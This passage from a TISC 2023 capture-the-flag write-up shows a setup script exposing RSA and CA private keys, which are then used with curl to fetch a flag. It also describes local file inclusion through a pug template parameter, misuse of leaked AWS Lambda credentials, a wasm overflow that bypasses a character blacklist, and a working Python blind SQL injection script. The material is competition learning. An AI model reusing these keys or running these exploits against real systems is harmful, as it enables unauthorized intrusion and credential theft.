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
-----END RSA PRIVATE KEY-----

EOL
cat <<\EOL > /etc/nginx/ca.crt
-----BEGIN CERTIFICATE-----
MIIDITCCAgmgAwIBAgIUQ3SN/Ic7T2x1v6cA6gKPUxNSlNgwDQYJKoZIhvcNAQEL
BQAwIDEeMBwGA1UEAwwVZGV2c2VjbWVvdy1wcm9kdWN0aW9uMB4XDTIzMDcyMTE0
NTA0MFoXDTI0MDcyMDE0NTA0MFowIDEeMBwGA1UEAwwVZGV2c2VjbWVvdy1wcm9k
dWN0aW9uMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxNkskbb7nqRD
nVMFJrWQUYuCURyYjncGVZTEFzO1cOOEAR35DmcRuVgWTACUJdRRqb6lL/7Vbfgm
1TV8vj7x/qNciEvd4/NzotlBXYCXJLilLFUydxuEqzpxX9fCGxQJ0nsKDswYuUpi
7ire952y8YAlu/DAApfwm/K8rS2edvvJ22wr1QznmEIedf3GFI3giFgyiB81bmqs
W+vLwd599seSVc48sm4VdIbw1KxQrQVU9Rwr7VyR7frFIitPIpTRfD6P/vZAZSmd
icPAq+2iDGj1YEy4AfRsn+ah7XQqp5ZC4iZccZidHGVlHSmsDXqJ2kpweuYoVCzy
HjMIuPqkDwIDAQABo1MwUTAdBgNVHQ4EFgQUr87qLf+IfGrfkYajdItqMFzby78w
HwYDVR0jBBgwFoAUr87qLf+IfGrfkYajdItqMFzby78wDwYDVR0TAQH/BAUwAwEB
/zANBgkqhkiG9w0BAQsFAAOCAQEAum41R46j6OlqmqdvEgt3D5pCsTa7fwfbvdqp
FgSlsGrwtRzAxETYPj6d+kYliFI/Z46tE3x15F5zisPPT3F/HjqzLPJBvCQWjiHW
+nRniqn5OzwgCsKB8kIVO01tE02ibWyIzL15s8IvzNTDH/WUUf1YvN/QKrvr7NC1
fGui/34w/Sikc1ckuayOM6B6yhf2WoCtC/txaGBxSa95tqSADxiw2X4ru7vuDqJO
TNVZrU3IkDCUhRSxvcesm4of0B21GCmpcUAU75A+UF3sl8jFTNf8oMFZzW17W4bg
tMdad2Pvl9IL3bWjT0uWMOU7uFWHRFCKEVrzCzJ6sUdyamwsLg==
-----END CERTIFICATE-----

EOL
cat <<\EOL > /etc/nginx/ca.key
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDE2SyRtvuepEOd
UwUmtZBRi4JRHJiOdwZVlMQXM7Vw44QBHfkOZxG5WBZMAJQl1FGpvqUv/tVt+CbV
NXy+PvH+o1yIS93j83Oi2UFdgJckuKUsVTJ3G4SrOnFf18IbFAnSewoOzBi5SmLu
Kt73nbLxgCW78MACl/Cb8rytLZ52+8nbbCvVDOeYQh51/cYUjeCIWDKIHzVuaqxb
68vB3n32x5JVzjyybhV0hvDUrFCtBVT1HCvtXJHt+sUiK08ilNF8Po/+9kBlKZ2J
w8Cr7aIMaPVgTLgB9Gyf5qHtdCqnlkLiJlxxmJ0cZWUdKawNeonaSnB65ihULPIe
Mwi4+qQPAgMBAAECggEBAKABg7fiC/90uD0uWXaQiQGvq7rwypSq7SwtY4MUlfxw
A0HBMkvhvcdxcZZPthxVzBd1DuLHeocL+cy+0Gn30k7QTQvA11lN74XEoNw3BSRl
LmWtzvqAFMP2Gmf0giPuktlTB+blQYeDjozXriuKNQUWzBVLaVfyVzL8CR+fgDpn
nUai7P0thT8MjxXesVvf1jkq4yZqPMOLNLYEuUn5G+OkNCHoqrc4Ud/Ft1lqd4f1
yvJ+9IDBZ298+HhCnlwyZ+ipTZFTcgzV6o/f4Hq0hfiqGx0es0Gt+jtkpR99AS4A
xGGU9CMy2bKk7k5aaoin7dljiIcTrCkWsnCgaVHPNLkCgYEA4bW0AmHWFmzABT/T
TzzgQKJsFvwvKDWOJiDVTczZlTfXeWcM9WQtAecAk2ZxAZqtqXEatzhWsGIvmxMr
zMKz9RLxxRsttV4xzRwDfcjKzRuZAV0xXPsIuaZPpzrqCX8uFrvhijf8prWuLFZr
2mC7kxVVpfDjO68e74YJVSKmOgUCgYEA30Pua0vOPXFL2h8TcbjG9FyTxid4OQWE
s1IiLYRw3jVVWlJ2gAlZ4ey+zTG162zV4V2yHrZF23es45yoWgSRZkxufkQY9CJi
XMXf0qdyC1lVh/naJXdz5AYr5KwyDv9UKjJc6vubcuSmD6h6H3QOgkZeoCt75lwy
jKwwSRRL/gMCgYB4AoLp2VdZqQ0YPW1/biDWfQX32rLAMGmagE6qBUeTfZOGK3LK
by83GbpGpWtkrPe1ZjwMO1psgmhJjhH113iT0DTY1rChBKp6InEAymh6Ujgyb3i1
tYxYGcO0aTDTR9oboF41fbtKcMNhM7o47MIPXIKjrsdDjsNmG+COcdPseQKBgQC5
niqb/dwrbQQZBfkOdQbDpiwddDcZgSMASuqrWQ7VTxX1D9YBQMT/depzgj6yyjtP
MKyjp/qQKgENAvNcU6vmlujOBSOR5PxOERyycA/6q3zWnbzlpVguXYskhJzhpxl8
M37YxfJJJRuCrRlLCRv+5y5Ij55kuIY2Ofmy6DL9rQKBgQDefTgiSKVIlMpZRiGt
VOAD0MFda/k9tpTPT9HdlL4b44mkNzPailJATH0XLDqSwuXn4wJEgMAwqbM8CGSo
Opar3fixSriKkwuTuDy8fM1dbpjYCi8rKswGULTvpFHJQZSDu4+sCDxbZUv9VTAS
aUwjOeYyIZiB+SQt/kUUZm1acA==
-----END PRIVATE KEY-----

EOL
aws s3 cp s3://devsecmeow2023flag2/index.html /tmp/
sudo cp /tmp/index.html /var/www/html
rm /tmp/index.html
sudo systemctl restart nginx

Probably some setup script. We take the certs and save them locally, then connect to the ec2 instance:

curl --cert flag2.crt --key flag2.key https://54.255.155.134/ -k | save flag2.html

flag2

TISC{pr0tecT_yOuR_d3vSeCOps_P1peL1nEs!!<##:3##>}

Level 8 - Blind SQL Injection

As part of the anti-PALINDROME task force, you find yourself face to face with another task.

“We found this horribly made website on their web servers,” your superior tells you. “It’s probably just a trivial SQL injection vulnerability to extract the admin password. I’m expecting this to be done in about an hour.”

You ready your fingers on the keyboard, confident that you’ll be able to deliver.

http://chals.tisc23.ctf.sg:28471/

Files:

This challenge is deceptively simple. The web and cloud portion are hardly there, and the rev portion can hardly be considered rev.

Web

There’s an SQLi in the login form, but it’s protected by a blacklist on AWS Lambda. It blocks every character except letters (also null bytes but that’s a side effect of wasm I think).

I quickly found that the vuln lies in here:

app.post('/api/submit-reminder', (req, res) => {
    const username = req.body.username;
    const reminder = req.body.reminder;
    const viewType = req.body.viewType;
    res.send(pug.renderFile(viewType, { username, reminder }));
});

viewType is user input and can be leveraged for LFI.

nice-pug

Obtaining the AWS creds, I enumerated the permissions in hopes that there was more to it than just getting the source for the lambda.

There was not.

aws lambda get-function --function-name craft_query

The above function generates a pre-signed token to download the craft-query lambda source as a zip. In the zip was a .wasm file and the meat of the challenge: site.wasm.

Using index.js (it’s somewhat edited but I used it to fuzz and im too lazy to get the original file back), I realized that the program crashes with a suspicious message when i = 67:

SELECT * from Users WHERE username="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" AND password="asdf" 65
SELECT * from Users WHERE username="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" AND password="asdf" 66
SELECT * from Users WHERE username="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" AND password="asdf" 67
/home/samuzora/ctf/comp/tisc/blind-sqli/craft-query/site.js:127
      throw ex;
      ^

RuntimeError: null function or function signature mismatch
    at wasm://wasm/456522fa:wasm-function[9]:0xe1d
    at /home/samuzora/ctf/comp/tisc/blind-sqli/craft-query/site.js:666:22
    at ccall (/home/samuzora/ctf/comp/tisc/blind-sqli/craft-query/site.js:1230:22)
    at /home/samuzora/ctf/comp/tisc/blind-sqli/craft-query/site.js:1247:16
    at /home/samuzora/ctf/comp/tisc/blind-sqli/craft-query/index.js:18:20

Node.js v18.16.0

This is very interesting. I googled and found out that wasm (when using the call_indirect instruction) does suffer from RCE via buffer overflow, but has a “mitigation” in place - the function being jumped to must have the same function signature as the one specified in call_indirect. Also, this function must exist in the jump table (similar to GOT).

(elem (;0;) (i32.const 1) func 8 6 40 41 44) ;; jump table

;; functions
(func (;8;) (type 3) (param i32 i32) (result i32)
(func (;9;) (type 3) (param i32 i32) (result i32)
(func (;40;) (type 10) (param i32 f64 i32 i32 i32 i32) (result i32)
(func (;41;) (type 6) (param i32 i32)
(func (;44;) (type 0) (param i32 i32 i32) (result i32)

Also in func 9:

  (func (;9;) (type 3) (param i32 i32) (result i32)
    (local i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32)
    ...
    local.get 24
    local.get 18
    call_indirect (type 3)

So I must jump to type 3 function (which is only 9 and 8 - and it doesn’t make much sense for 9 (ok maybe it might) to jump back to 9). To jump to the function, the “RIP” must have the index (1-indexed) of the function in the table - in this case, I want to jump to func 9, so index 2.

username = f'"'
username += "a" * (68 - len(username)) + "%02"

It worked perfectly and bypassed the blacklist, returning me the injected query.

Solve script:

import requests
import string

url = "http://chals.tisc23.ctf.sg:28471/api/login"

charset = [i for i in string.ascii_uppercase + string.digits + "_{}!$@#^&*()+"]
print(charset)

flag = "TISC{A1PHAB3T_0N1Y}"

# for i in range(1, 50):
#     for letter in charset:
#         username = f'admin" and substring(password, {i}, 1) = "{letter}" -- '
#         username += "a" * (68 - len(username)) + "%02"
#
#         data = {"username": username, "password": "asdf"}
#
#         response = requests.post(url, data=data)
#
#         if response.url != "http://chals.tisc23.ctf.sg:28471/":
#             flag += letter
#             print(flag)
#             break

password = ""

for letter in flag:
    for i in [letter.upper(), letter.lower()]:
        username = f'admin" and password like binary "{password + i + "%"}" -- '
        username += "a" * (68 - len(username)) + "%02"

        data = {"username": username, "password": "asdf"}

        response = requests.post(url, data=data)

        if response.url != "http://chals.tisc23.ctf.sg:28471/":
            password += i
            print(password)
            break

(note: I messed up the first part and did case-insensitive match, that’s why I had the second part to get the correct casing)

TISC{a1PhAb3t_0N1Y}

Overall fun wasm pwn but deceivingly hard challenge.